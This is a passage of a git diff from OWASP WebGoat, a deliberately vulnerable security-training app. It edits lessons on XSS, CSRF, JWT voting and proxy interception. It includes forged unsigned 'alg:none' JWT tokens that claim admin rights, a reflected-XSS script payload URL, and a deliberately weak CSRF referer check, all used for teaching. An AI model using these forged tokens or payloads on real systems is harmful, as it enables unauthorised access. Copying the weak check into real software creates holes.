var voteTemplate = html.replace('IMAGE_SMALL', result[i].imageSmall);
|
|
||||||
if (i === 0) {
|
|
||||||
voteTemplate = voteTemplate.replace('ACTIVE', 'active');
|
|
||||||
voteTemplate = voteTemplate.replace('BUTTON', 'btn-default');
|
|
||||||
} else {
|
|
||||||
voteTemplate = voteTemplate.replace('ACTIVE', '');
|
|
||||||
voteTemplate = voteTemplate.replace('BUTTON', 'btn-primary');
|
|
||||||
}
|
|
||||||
voteTemplate = voteTemplate.replace(/TITLE/g, result[i].title);
|
|
||||||
voteTemplate = voteTemplate.replace('INFORMATION', result[i].information || '');
|
|
||||||
voteTemplate = voteTemplate.replace('NO_VOTES', result[i].numberOfVotes || '');
|
|
||||||
voteTemplate = voteTemplate.replace('AVERAGE', result[i].average || '');
|
|
||||||
|
|
||||||
var hidden = (result[i].numberOfVotes === undefined ? 'hidden' : '');
|
|
||||||
voteTemplate = voteTemplate.replace(/HIDDEN_VIEW_VOTES/g, hidden);
|
|
||||||
hidden = (result[i].average === undefined ? 'hidden' : '');
|
|
||||||
voteTemplate = voteTemplate.replace(/HIDDEN_VIEW_RATING/g, hidden);
|
|
||||||
|
|
||||||
$("#votesList").append(voteTemplate);
|
|
||||||
}
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
function vote(title) {
|
|
||||||
var user = $("#name").text();
|
|
||||||
if (user === 'Guest') {
|
|
||||||
alert("As a guest you are not allowed to vote, please login first.")
|
|
||||||
} else {
|
|
||||||
$.ajax({
|
|
||||||
type: 'POST',
|
|
||||||
url: 'votings/' + title
|
|
||||||
}).then(
|
|
||||||
function () {
|
|
||||||
getVotings();
|
|
||||||
}
|
|
||||||
)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
@ -1 +0,0 @@
|
|||||||
Changing language can help you find the 'secret' file
|
|
@ -1 +0,0 @@
|
|||||||
Try to change to a different user, maybe you can find the flag?
|
|
@ -1,161 +0,0 @@
|
|||||||
package org.owasp.webgoat.plugin.challenge4;
|
|
||||||
|
|
||||||
import org.hamcrest.CoreMatchers;
|
|
||||||
import org.junit.Before;
|
|
||||||
import org.junit.Test;
|
|
||||||
import org.junit.runner.RunWith;
|
|
||||||
import org.mockito.runners.MockitoJUnitRunner;
|
|
||||||
import org.owasp.webgoat.plugin.Flag;
|
|
||||||
import org.springframework.test.web.servlet.MockMvc;
|
|
||||||
import org.springframework.test.web.servlet.MvcResult;
|
|
||||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
|
||||||
|
|
||||||
import javax.servlet.http.Cookie;
|
|
||||||
|
|
||||||
import static org.springframework.security.test.web.servlet.response.SecurityMockMvcResultMatchers.unauthenticated;
|
|
||||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.*;
|
|
||||||
import static org.springframework.test.web.servlet.setup.MockMvcBuilders.standaloneSetup;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author nbaars
|
|
||||||
* @since 5/2/17.
|
|
||||||
*/
|
|
||||||
@RunWith(MockitoJUnitRunner.class)
|
|
||||||
public class VotesEndpointTest {
|
|
||||||
|
|
||||||
private MockMvc mockMvc;
|
|
||||||
|
|
||||||
@Before
|
|
||||||
public void setup() {
|
|
||||||
VotesEndpoint votesEndpoint = new VotesEndpoint();
|
|
||||||
votesEndpoint.initVotes();
|
|
||||||
new Flag().initFlags();
|
|
||||||
this.mockMvc = standaloneSetup(votesEndpoint).build();
|
|
||||||
}
|
|
||||||
|
|
||||||
@Test
|
|
||||||
public void loginWithUnknownUser() throws Exception {
|
|
||||||
mockMvc.perform(MockMvcRequestBuilders.get("/votings/login")
|
|
||||||
.param("user", "uknown"))
|
|
||||||
.andExpect(unauthenticated());
|
|
||||||
}
|
|
||||||
|
|
||||||
@Test
|
|
||||||
public void loginWithTomShouldGiveJwtToken() throws Exception {
|
|
||||||
mockMvc.perform(MockMvcRequestBuilders.get("/votings/login")
|
|
||||||
.param("user", "Tom"))
|
|
||||||
.andExpect(status().isOk()).andExpect(cookie().exists("access_token"));
|
|
||||||
}
|
|
||||||
|
|
||||||
@Test
|
|
||||||
public void loginWithGuestShouldNotGiveJwtToken() throws Exception {
|
|
||||||
mockMvc.perform(MockMvcRequestBuilders.get("/votings/login")
|
|
||||||
.param("user", "Guest"))
|
|
||||||
.andExpect(unauthenticated()).andExpect(cookie().value("access_token", ""));
|
|
||||||
}
|
|
||||||
|
|
||||||
@Test
|
|
||||||
public void userShouldSeeMore() throws Exception {
|
|
||||||
MvcResult mvcResult = mockMvc.perform(MockMvcRequestBuilders.get("/votings/login")
|
|
||||||
.param("user", "Tom"))
|
|
||||||
.andExpect(status().isOk()).andExpect(cookie().exists("access_token")).andReturn();
|
|
||||||
mockMvc.perform(MockMvcRequestBuilders.get("/votings")
|
|
||||||
.cookie(mvcResult.getResponse().getCookie("access_token")))
|
|
||||||
.andExpect(jsonPath("$.[*].numberOfVotes").exists());
|
|
||||||
}
|
|
||||||
|
|
||||||
@Test
|
|
||||||
public void guestShouldNotSeeNumberOfVotes() throws Exception {
|
|
||||||
MvcResult mvcResult = mockMvc.perform(MockMvcRequestBuilders.get("/votings/login")
|
|
||||||
.param("user", "Guest"))
|
|
||||||
.andExpect(unauthenticated()).andExpect(cookie().exists("access_token")).andReturn();
|
|
||||||
mockMvc.perform(MockMvcRequestBuilders.get("/votings")
|
|
||||||
.cookie(mvcResult.getResponse().getCookie("access_token")))
|
|
||||||
.andExpect(jsonPath("$.[*].numberOfVotes").doesNotExist());
|
|
||||||
}
|
|
||||||
|
|
||||||
@Test
|
|
||||||
public void adminShouldSeeFlags() throws Exception {
|
|
||||||
mockMvc.perform(MockMvcRequestBuilders.get("/votings")
|
|
||||||
.cookie(new Cookie("access_token", "eyJhbGciOiJub25lIn0.eyJhZG1pbiI6InRydWUiLCJ1c2VyIjoiSmVycnkifQ.")))
|
|
||||||
.andExpect(jsonPath("$.[*].flag").isNotEmpty());
|
|
||||||
}
|
|
||||||
|
|
||||||
@Test
|
|
||||||
public void votingIsNotAllowedAsGuest() throws Exception {
|
|
||||||
mockMvc.perform(MockMvcRequestBuilders.post("/votings/Get it for free"))
|
|
||||||
.andExpect(unauthenticated());
|
|
||||||
}
|
|
||||||
|
|
||||||
@Test
|
|
||||||
public void normalUserShouldBeAbleToVote() throws Exception {
|
|
||||||
MvcResult mvcResult = mockMvc.perform(MockMvcRequestBuilders.get("/votings/login")
|
|
||||||
.param("user", "Tom"))
|
|
||||||
.andExpect(status().isOk()).andExpect(cookie().exists("access_token")).andReturn();
|
|
||||||
mockMvc.perform(MockMvcRequestBuilders.post("/votings/Get it for free")
|
|
||||||
.cookie(mvcResult.getResponse().getCookie("access_token")));
|
|
||||||
mockMvc.perform(MockMvcRequestBuilders.get("/votings/")
|
|
||||||
.cookie(mvcResult.getResponse().getCookie("access_token")))
|
|
||||||
.andExpect(jsonPath("$..[?(@.title == 'Get it for free')].numberOfVotes", CoreMatchers.hasItem(20001)));
|
|
||||||
}
|
|
||||||
|
|
||||||
@Test
|
|
||||||
public void votingForUnknownLessonShouldNotCrash() throws Exception {
|
|
||||||
MvcResult mvcResult = mockMvc.perform(MockMvcRequestBuilders.get("/votings/login")
|
|
||||||
.param("user", "Tom"))
|
|
||||||
.andExpect(status().isOk()).andExpect(cookie().exists("access_token")).andReturn();
|
|
||||||
mockMvc.perform(MockMvcRequestBuilders.post("/votings/UKNOWN_VOTE")
|
|
||||||
.cookie(mvcResult.getResponse().getCookie("access_token"))).andExpect(status().isAccepted());
|
|
||||||
}
|
|
||||||
|
|
||||||
@Test
|
|
||||||
public void votingWithInvalidToken() throws Exception {
|
|
||||||
mockMvc.perform(MockMvcRequestBuilders.post("/votings/UKNOWN_VOTE")
|
|
||||||
.cookie(new Cookie("access_token", "abc"))).andExpect(unauthenticated());
|
|
||||||
}
|
|
||||||
|
|
||||||
@Test
|
|
||||||
public void gettingVotesWithInvalidToken() throws Exception {
|
|
||||||
mockMvc.perform(MockMvcRequestBuilders.get("/votings/")
|
|
||||||
.cookie(new Cookie("access_token", "abc"))).andExpect(unauthenticated());
|
|
||||||
}
|
|
||||||
|
|
||||||
@Test
|
|
||||||
public void gettingVotesWithUnknownUserInToken() throws Exception {
|
|
||||||
mockMvc.perform(MockMvcRequestBuilders.get("/votings/")
|
|
||||||
.cookie(new Cookie("access_token", "eyJhbGciOiJub25lIn0.eyJhZG1pbiI6InRydWUiLCJ1c2VyIjoiVW5rbm93biJ9.")))
|
|
||||||
.andExpect(unauthenticated())
|
|
||||||
.andExpect(jsonPath("$.[*].numberOfVotes").doesNotExist());
|
|
||||||
}
|
|
||||||
|
|
||||||
@Test
|
|
||||||
public void gettingVotesForUnknownShouldWork() throws Exception {
|
|
||||||
mockMvc.perform(MockMvcRequestBuilders.get("/votings/")
|
|
||||||
.cookie(new Cookie("access_token", "eyJhbGciOiJub25lIn0.eyJ1c2VyIjoiVW5rbm93biJ9.")))
|
|
||||||
.andExpect(unauthenticated())
|
|
||||||
.andExpect(jsonPath("$.[*].numberOfVotes").doesNotExist());
|
|
||||||
}
|
|
||||||
|
|
||||||
@Test
|
|
||||||
public void gettingVotesForKnownWithoutAdminFieldShouldWork() throws Exception {
|
|
||||||
mockMvc.perform(MockMvcRequestBuilders.get("/votings/")
|
|
||||||
.cookie(new Cookie("access_token", "eyJhbGciOiJub25lIn0.eyJ1c2VyIjoiVG9tIn0.")))
|
|
||||||
.andExpect(status().isOk())
|
|
||||||
.andExpect(jsonPath("$.[*].numberOfVotes").exists());
|
|
||||||
}
|
|
||||||
|
|
||||||
@Test
|
|
||||||
public void gettingVotesWithEmptyToken() throws Exception {
|
|
||||||
mockMvc.perform(MockMvcRequestBuilders.get("/votings/")
|
|
||||||
.cookie(new Cookie("access_token", "")))
|
|
||||||
.andExpect(status().isOk())
|
|
||||||
.andExpect(jsonPath("$.[*].numberOfVotes").doesNotExist());
|
|
||||||
}
|
|
||||||
|
|
||||||
@Test
|
|
||||||
public void votingAsUnknownUserShouldNotBeAllowed() throws Exception {
|
|
||||||
mockMvc.perform(MockMvcRequestBuilders.post("/votings/Get it for free")
|
|
||||||
.cookie(new Cookie("access_token", "eyJhbGciOiJub25lIn0.eyJ1c2VyIjoiVW5rbm93biJ9.")))
|
|
||||||
.andExpect(unauthenticated());
|
|
||||||
}
|
|
||||||
}
|
|
@ -6,7 +6,7 @@
|
|||||||
<parent>
|
<parent>
|
||||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||||
<artifactId>webgoat-lessons-parent</artifactId>
|
<artifactId>webgoat-lessons-parent</artifactId>
|
||||||
<version>v8.0.0.M15</version>
|
<version>v8.0.0.M20</version>
|
||||||
</parent>
|
</parent>
|
||||||
|
|
||||||
</project>
|
</project>
|
||||||
|
@ -6,7 +6,7 @@
|
|||||||
<parent>
|
<parent>
|
||||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||||
<artifactId>webgoat-lessons-parent</artifactId>
|
<artifactId>webgoat-lessons-parent</artifactId>
|
||||||
<version>v8.0.0.M15</version>
|
<version>v8.0.0.M20</version>
|
||||||
</parent>
|
</parent>
|
||||||
<build>
|
<build>
|
||||||
<plugins>
|
<plugins>
|
||||||
|
@ -49,10 +49,7 @@ import org.owasp.encoder.*;
|
|||||||
|
|
||||||
import static org.springframework.http.MediaType.ALL_VALUE;
|
import static org.springframework.http.MediaType.ALL_VALUE;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.util.ArrayList;
|
import java.util.*;
|
||||||
import java.util.Collection;
|
|
||||||
import java.util.List;
|
|
||||||
import java.util.Map;
|
|
||||||
|
|
||||||
import static org.springframework.web.bind.annotation.RequestMethod.GET;
|
import static org.springframework.web.bind.annotation.RequestMethod.GET;
|
||||||
|
|
||||||
@ -78,14 +75,13 @@ public class StoredXssComments extends AssignmentEndpoint {
|
|||||||
@RequestMapping(method = GET, produces = MediaType.APPLICATION_JSON_VALUE,consumes = ALL_VALUE)
|
@RequestMapping(method = GET, produces = MediaType.APPLICATION_JSON_VALUE,consumes = ALL_VALUE)
|
||||||
@ResponseBody
|
@ResponseBody
|
||||||
public Collection<Comment> retrieveComments() {
|
public Collection<Comment> retrieveComments() {
|
||||||
Collection<Comment> allComments = Lists.newArrayList();
|
List<Comment> allComments = Lists.newArrayList();
|
||||||
Collection<Comment> newComments = userComments.get(webSession.getUserName());
|
Collection<Comment> newComments = userComments.get(webSession.getUserName());
|
||||||
|
allComments.addAll(comments);
|
||||||
if (newComments != null) {
|
if (newComments != null) {
|
||||||
allComments.addAll(newComments);
|
allComments.addAll(newComments);
|
||||||
}
|
}
|
||||||
|
Collections.reverse(allComments);
|
||||||
allComments.addAll(comments);
|
|
||||||
|
|
||||||
return allComments;
|
return allComments;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -5,7 +5,7 @@ xss-reflected-5a-failure=Try again. We do want to see this specific javascript (
|
|||||||
xss-reflected-5b-success=Correct ... because <ul><li>The script was not triggered by the URL/QueryString</li><li>Even if you use the attack URL in a new tab, it won't execute (becuase of response type). Try it if you like.</li></ul>
|
xss-reflected-5b-success=Correct ... because <ul><li>The script was not triggered by the URL/QueryString</li><li>Even if you use the attack URL in a new tab, it won't execute (becuase of response type). Try it if you like.</li></ul>
|
||||||
xss-reflected-5b-failure=Nope, pretty easy to guess now though.
|
xss-reflected-5b-failure=Nope, pretty easy to guess now though.
|
||||||
xss-reflected-6a-success=Correct! Now, see if you can send in an exploit to that route in the next assignment.
|
xss-reflected-6a-success=Correct! Now, see if you can send in an exploit to that route in the next assignment.
|
||||||
xss-reflected-6a-failure=No, look at the example. Check the GoatRouter.js file. It should be pretty easy to determine.
|
xss-reflected-6a-failure=No, look at the example. Check the <a href="/WebGoat/js/goatApp/view/GoatRouter.js" target="_blank">GoatRouter.js</a> file. It should be pretty easy to determine.
|
||||||
xss.lesson1.failure=Are you sure? Try using a tab from a different site.
|
xss.lesson1.failure=Are you sure? Try using a tab from a different site.
|
||||||
xss-dom-message-success=Correct, I hope you didn't cheat, using the console!
|
xss-dom-message-success=Correct, I hope you didn't cheat, using the console!
|
||||||
xss-dom-message-failure=Incorrect, keep trying. It should be obvious in the log when you are successful.
|
xss-dom-message-failure=Incorrect, keep trying. It should be obvious in the log when you are successful.
|
||||||
|
@ -4,7 +4,7 @@ You should have been able to execute script with the last example. At this point
|
|||||||
|
|
||||||
Why is that?
|
Why is that?
|
||||||
|
|
||||||
That is because there is no link that would tigger that XSS.
|
That is because there is no link that would trigger that XSS.
|
||||||
You can try it yourself to see what happens ... go to (substitute localhost with your server's name or IP if you need to):
|
You can try it yourself to see what happens ... go to (substitute localhost with your server's name or IP if you need to):
|
||||||
|
|
||||||
link: http://localhost:8080/WebGoat/CrossSiteScripting/attack5a?QTY1=1&QTY2=1&QTY3=1&QTY4=1&field1=<script>alert('myjavascripthere')</script>4128+3214+0002+1999&field2=111
|
link: http://localhost:8080/WebGoat/CrossSiteScripting/attack5a?QTY1=1&QTY2=1&QTY3=1&QTY4=1&field1=<script>alert('my%20javascript%20here')</script>4128+3214+0002+1999&field2=111
|
||||||
|
@ -1,15 +1,15 @@
|
|||||||
== Ientify Potential for DOM-Based XSS
|
== Identify Potential for DOM-Based XSS
|
||||||
|
|
||||||
DOM-Based XSS can usually be found by looking for the route configurations in the client-side code.
|
DOM-Based XSS can usually be found by looking for the route configurations in the client-side code.
|
||||||
Look for a route that takes inputs that you can ID being 'reflected' to the page.
|
Look for a route that takes inputs that are being 'reflected' to the page.
|
||||||
|
|
||||||
For this example, you'll want to look for some 'test' code in the route handlers (WebGoat uses backbone as its primary javascript library).
|
For this example, you'll want to look for some 'test' code in the route handlers (WebGoat uses backbone as its primary javascript library).
|
||||||
Sometimes, test code gets left in production (and often times test code is very simple and lacks security or any quality controls!).
|
Sometimes, test code gets left in production (and often times test code is very simple and lacks security or any quality controls!).
|
||||||
|
|
||||||
Your objective is to find the route and exploit it. First though ... what is the base route? As an example, look at the URL for this lesson ...
|
Your objective is to find the route and exploit it. First though ... what is the base route? As an example, look at the URL for this lesson ...
|
||||||
it should look something like /WebGoat/start.mvc#lesson/CrossSiteScripting.lesson/5 (although maybe slightly different). The 'base route' in this case is:
|
it should look something like /WebGoat/start.mvc#lesson/CrossSiteScripting.lesson/9. The 'base route' in this case is:
|
||||||
*start.mvc#lesson/*
|
*start.mvc#lesson/*
|
||||||
|
The *CrossSiteScripting.lesson/9* after that are parameters that are processed by the javascript route handler.
|
||||||
|
|
||||||
The *CrossSiteScripting.lesson/#* after that are parameters that are processed by javascript route handler.
|
So, what is the route for the test code that stayed in the app during production?
|
||||||
|
To answer this question, you have to check the javascript source.
|
||||||
So, what is test route for this test code?
|
|
@ -8,4 +8,4 @@ The function you want to execute is ...
|
|||||||
|
|
||||||
Sure, you could just use console/debug to trigger it, but you need to trigger it via a URL in a new tab.
|
Sure, you could just use console/debug to trigger it, but you need to trigger it via a URL in a new tab.
|
||||||
|
|
||||||
Once you do trigger it, a subsequent response will come to the browser with a random number. Put that random number in below.
|
Once you do trigger it, a subsequent response will come to your browser's console with a random number. Put that random number in below.
|
||||||
|
@ -6,6 +6,6 @@
|
|||||||
<parent>
|
<parent>
|
||||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||||
<artifactId>webgoat-lessons-parent</artifactId>
|
<artifactId>webgoat-lessons-parent</artifactId>
|
||||||
<version>v8.0.0.M15</version>
|
<version>v8.0.0.M20</version>
|
||||||
</parent>
|
</parent>
|
||||||
</project>
|
</project>
|
@ -64,11 +64,11 @@ public class CSRFFeedback extends AssignmentEndpoint {
|
|||||||
|
|
||||||
private boolean hostOrRefererDifferentHost(HttpServletRequest request) {
|
private boolean hostOrRefererDifferentHost(HttpServletRequest request) {
|
||||||
String referer = request.getHeader("referer");
|
String referer = request.getHeader("referer");
|
||||||
String origin = request.getHeader("origin");
|
String host = request.getHeader("host");
|
||||||
if (referer != null) {
|
if (referer != null) {
|
||||||
return !referer.contains(origin);
|
return !referer.contains(host);
|
||||||
} else {
|
} else {
|
||||||
return true; //this case referer is null or origin does not matter we cannot compare so we return true which should of course be false
|
return true;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -20,7 +20,7 @@
|
|||||||
action="/WebGoat/csrf/basic-get-flag"
|
action="/WebGoat/csrf/basic-get-flag"
|
||||||
enctype="application/json;charset=UTF-8">
|
enctype="application/json;charset=UTF-8">
|
||||||
<input name="csrf" type="hidden" value="false"/>
|
<input name="csrf" type="hidden" value="false"/>
|
||||||
<input type="submit" name="ubmit="/>
|
<input type="submit" name="submit"/>
|
||||||
|
|
||||||
</form>
|
</form>
|
||||||
|
|
||||||
|
@ -16,9 +16,11 @@ the activities of the user.
|
|||||||
image::images/login-csrf.png[caption="Figure: ", title="Login CSRF from Robust Defenses for Cross-Site Request Forgery", width="800", height="500", style="lesson-image" link="http://seclab.stanford.edu/websec/csrf/csrf.pdf"]
|
image::images/login-csrf.png[caption="Figure: ", title="Login CSRF from Robust Defenses for Cross-Site Request Forgery", width="800", height="500", style="lesson-image" link="http://seclab.stanford.edu/websec/csrf/csrf.pdf"]
|
||||||
|
|
||||||
{blank}
|
{blank}
|
||||||
For more information read the following http://seclab.stanford.edu/websec/csrf/csrf.pdf[paper]
|
For more information read the following http://seclab.stanford.edu/websec/csrf/csrf.pdf[paper].
|
||||||
|
|
||||||
In this assignment try to see if WebGoat is also vulnerable for a login CSRF attack. First create a user
|
In this assignment try to see if WebGoat is also vulnerable for a login CSRF attack.
|
||||||
based on your own username prefixed with csrf. So if your username is `tom` you must create
|
Leave this tab open and in another tab create a user based on your own username prefixed with `csrf-`.
|
||||||
a new user called `csrf-tom`
|
So if your username is `tom` you must create a new user called `csrf-tom`.
|
||||||
|
|
||||||
|
Login as the new user. This is what an attacker would do using CSRF. Then click the button in the original tab.
|
||||||
|
Because you are logged in as a different user, the attacker learns that you clicked the button.
|
||||||
|
@ -46,7 +46,7 @@ public class CSRFFeedbackTest extends LessonTest {
|
|||||||
mockMvc.perform(post("/csrf/feedback/message")
|
mockMvc.perform(post("/csrf/feedback/message")
|
||||||
.contentType(MediaType.TEXT_PLAIN)
|
.contentType(MediaType.TEXT_PLAIN)
|
||||||
.cookie(new Cookie("JSESSIONID", "test"))
|
.cookie(new Cookie("JSESSIONID", "test"))
|
||||||
.header("origin", "localhost:8080")
|
.header("host", "localhost:8080")
|
||||||
.header("referer", "webgoat.org")
|
.header("referer", "webgoat.org")
|
||||||
.content("{\"name\": \"Test\", \"email\": \"test1233@dfssdf.de\", \"subject\": \"service\", \"message\":\"dsaffd\"}"))
|
.content("{\"name\": \"Test\", \"email\": \"test1233@dfssdf.de\", \"subject\": \"service\", \"message\":\"dsaffd\"}"))
|
||||||
.andExpect(jsonPath("lessonCompleted", is(true)))
|
.andExpect(jsonPath("lessonCompleted", is(true)))
|
||||||
|
@ -6,7 +6,7 @@
|
|||||||
<parent>
|
<parent>
|
||||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||||
<artifactId>webgoat-lessons-parent</artifactId>
|
<artifactId>webgoat-lessons-parent</artifactId>
|
||||||
<version>v8.0.0.M15</version>
|
<version>v8.0.0.M20</version>
|
||||||
</parent>
|
</parent>
|
||||||
|
|
||||||
<dependencies>
|
<dependencies>
|
||||||
|
@ -6,7 +6,7 @@
|
|||||||
<parent>
|
<parent>
|
||||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||||
<artifactId>webgoat-lessons-parent</artifactId>
|
<artifactId>webgoat-lessons-parent</artifactId>
|
||||||
<version>v8.0.0.M15</version>
|
<version>v8.0.0.M20</version>
|
||||||
</parent>
|
</parent>
|
||||||
|
|
||||||
</project>
|
</project>
|
||||||
|
@ -6,7 +6,7 @@
|
|||||||
<parent>
|
<parent>
|
||||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||||
<artifactId>webgoat-lessons-parent</artifactId>
|
<artifactId>webgoat-lessons-parent</artifactId>
|
||||||
<version>v8.0.0.M15</version>
|
<version>v8.0.0.M20</version>
|
||||||
</parent>
|
</parent>
|
||||||
|
|
||||||
<dependencies>
|
<dependencies>
|
||||||
|
@ -3,36 +3,27 @@
|
|||||||
<html xmlns:th="http://www.thymeleaf.org">
|
<html xmlns:th="http://www.thymeleaf.org">
|
||||||
|
|
||||||
<div class="lesson-page-wrapper">
|
<div class="lesson-page-wrapper">
|
||||||
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson -->
|
|
||||||
<!-- include content here. Content will be presented via asciidocs files,
|
|
||||||
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc -->
|
|
||||||
<div class="adoc-content" th:replace="doc:HttpBasics_ProxyIntro0.adoc"></div>
|
<div class="adoc-content" th:replace="doc:HttpBasics_ProxyIntro0.adoc"></div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div class="lesson-page-wrapper">
|
<div class="lesson-page-wrapper">
|
||||||
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson -->
|
|
||||||
<!-- include content here. Content will be presented via asciidocs files,
|
|
||||||
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc -->
|
|
||||||
<div class="adoc-content" th:replace="doc:HttpBasics_ProxyIntro1.adoc"></div>
|
<div class="adoc-content" th:replace="doc:HttpBasics_ProxyIntro1.adoc"></div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div class="lesson-page-wrapper">
|
<div class="lesson-page-wrapper">
|
||||||
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson -->
|
|
||||||
<!-- include content here. Content will be presented via asciidocs files,
|
|
||||||
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc -->
|
|
||||||
<div class="adoc-content" th:replace="doc:HttpBasics_ProxyIntro2.adoc"></div>
|
<div class="adoc-content" th:replace="doc:HttpBasics_ProxyIntro2.adoc"></div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div class="lesson-page-wrapper">
|
<div class="lesson-page-wrapper">
|
||||||
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson -->
|
|
||||||
<!-- include content here. Content will be presented via asciidocs files,
|
|
||||||
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc -->
|
|
||||||
<div class="adoc-content" th:replace="doc:HttpBasics_ProxyIntro3.adoc"></div>
|
<div class="adoc-content" th:replace="doc:HttpBasics_ProxyIntro3.adoc"></div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div class="lesson-page-wrapper">
|
<div class="lesson-page-wrapper">
|
||||||
<!-- stripped down without extra comments -->
|
|
||||||
<div class="adoc-content" th:replace="doc:HttpBasics_ProxyIntro4.adoc"></div>
|
<div class="adoc-content" th:replace="doc:HttpBasics_ProxyIntro4.adoc"></div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="lesson-page-wrapper">
|
||||||
|
<div class="adoc-content" th:replace="doc:HttpBasics_ProxyIntro5.adoc"></div>
|
||||||
<div class="attack-container">
|
<div class="attack-container">
|
||||||
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
|
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
|
||||||
<form class="attack-form" accept-charset="UNKNOWN" name="intercept-request"
|
<form class="attack-form" accept-charset="UNKNOWN" name="intercept-request"
|
||||||
@ -48,4 +39,8 @@
|
|||||||
<div class="attack-output"></div>
|
<div class="attack-output"></div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
<div class="lesson-page-wrapper">
|
||||||
|
<div class="adoc-content" th:replace="doc:HttpBasics_ProxyIntro6.adoc"></div>
|
||||||
|
</div>
|
||||||
</html>
|
</html>
|
||||||
|
Binary file not shown.
After Width: | Height: | Size: 176 KiB |
Binary file not shown.
After Width: | Height: | Size: 39 KiB |
Binary file not shown.
After Width: | Height: | Size: 56 KiB |
Binary file not shown.
After Width: | Height: | Size: 170 KiB |
Binary file not shown.
After Width: | Height: | Size: 60 KiB |
@ -1,26 +1,25 @@
|
|||||||
=== Use the intercept
|
=== Exclude WebGoat internal requests
|
||||||
|
|
||||||
To intercept a request, you start by clicking the green button. This will set a break point for the next request.
|
Before we start diving into intercepting requests with ZAP we need to exclude the internal requests from the WebGoat
|
||||||
|
framework otherwise ZAP will also stop at all the requests which are only necessary for the internal working of WebGoat.
|
||||||
|
|
||||||
image::images/proxy-intercept-button.png[Set break/intercept button,style="lesson-image"]
|
Right click on one of the links in history tab and select: `Exclude from -> Proxy`, see image below:
|
||||||
|
|
||||||
|
image::images/zap_exclude.png[Select URL from history,style="lesson-image"]
|
||||||
|
|
||||||
|
{nbsp}
|
||||||
|
|
||||||
|
A new window will open and add the following entries:
|
||||||
|
|
||||||
|
```
|
||||||
|
http://localhost:8080/WebGoat/service/.*
|
||||||
|
http://localhost:8080/WebGoat/.*.lesson.lesson
|
||||||
|
```
|
||||||
|
|
||||||
|
Click Ok to close the window, ZAP will now no longer proxy internal WebGoat requests.
|
||||||
|
|
||||||
|
|
||||||
*NOTE*: It is also possible set breakpoints that are triggered on conditions. That won't be covered in this lesson though. You are encouraged to explore.
|
image::images/zap_exclude_url.png[Exclude internal APIs from WebGoat,style="lesson-image"]
|
||||||
That's part of what hackers do ... explore!
|
|
||||||
|
|
||||||
Once you are intercepting requests and a request is made, it should look something like this:
|
|
||||||
|
|
||||||
image::images/proxy-intercept-details.png[ZAP history tab,style="lesson-image"]
|
|
||||||
|
|
||||||
=== Intercept and modify a request
|
|
||||||
|
|
||||||
Set up the intercept as noted above and then submit the form/request below by clicking the submit button. When you request is intercepted (hits the breakpoint),
|
|
||||||
modify it as follows.
|
|
||||||
|
|
||||||
* Change the Method to GET
|
|
||||||
* Add a header 'x-request-intercepted:true'
|
|
||||||
* Change the input value 'changeMe' to 'Requests are tampered easily' (without the single quotes)
|
|
||||||
|
|
||||||
Then let the request continue through (by hitting the play button).
|
|
||||||
|
|
||||||
NOTE: The two play buttons behave a little differently, but we'll let you tinker and figure that out for yourself.
|
|
@ -0,0 +1,26 @@
|
|||||||
|
=== Use the intercept
|
||||||
|
|
||||||
|
To intercept a request, you start by clicking the green button. This will set a break point for the next request.
|
||||||
|
|
||||||
|
image::images/proxy-intercept-button.png[Set break/intercept button,style="lesson-image"]
|
||||||
|
|
||||||
|
|
||||||
|
*NOTE*: It is also possible set breakpoints that are triggered on conditions. That won't be covered in this lesson though. You are encouraged to explore.
|
||||||
|
That's part of what hackers do ... explore!
|
||||||
|
|
||||||
|
Once you are intercepting requests and a request is made, it should look something like this:
|
||||||
|
|
||||||
|
image::images/proxy-intercept-details.png[ZAP history tab,style="lesson-image"]
|
||||||
|
|
||||||
|
=== Intercept and modify a request
|
||||||
|
|
||||||
|
Set up the intercept as noted above and then submit the form/request below by clicking the submit button. When you request is intercepted (hits the breakpoint),
|
||||||
|
modify it as follows.
|
||||||
|
|
||||||
|
* Change the Method to GET
|
||||||
|
* Add a header 'x-request-intercepted:true'
|
||||||
|
* Change the input value 'changeMe' to 'Requests are tampered easily' (without the single quotes)
|
||||||
|
|
||||||
|
Then let the request continue through (by hitting the play button).
|
||||||
|
|
||||||
|
NOTE: The two play buttons behave a little differently, but we'll let you tinker and figure that out for yourself.
|
@ -0,0 +1,29 @@
|
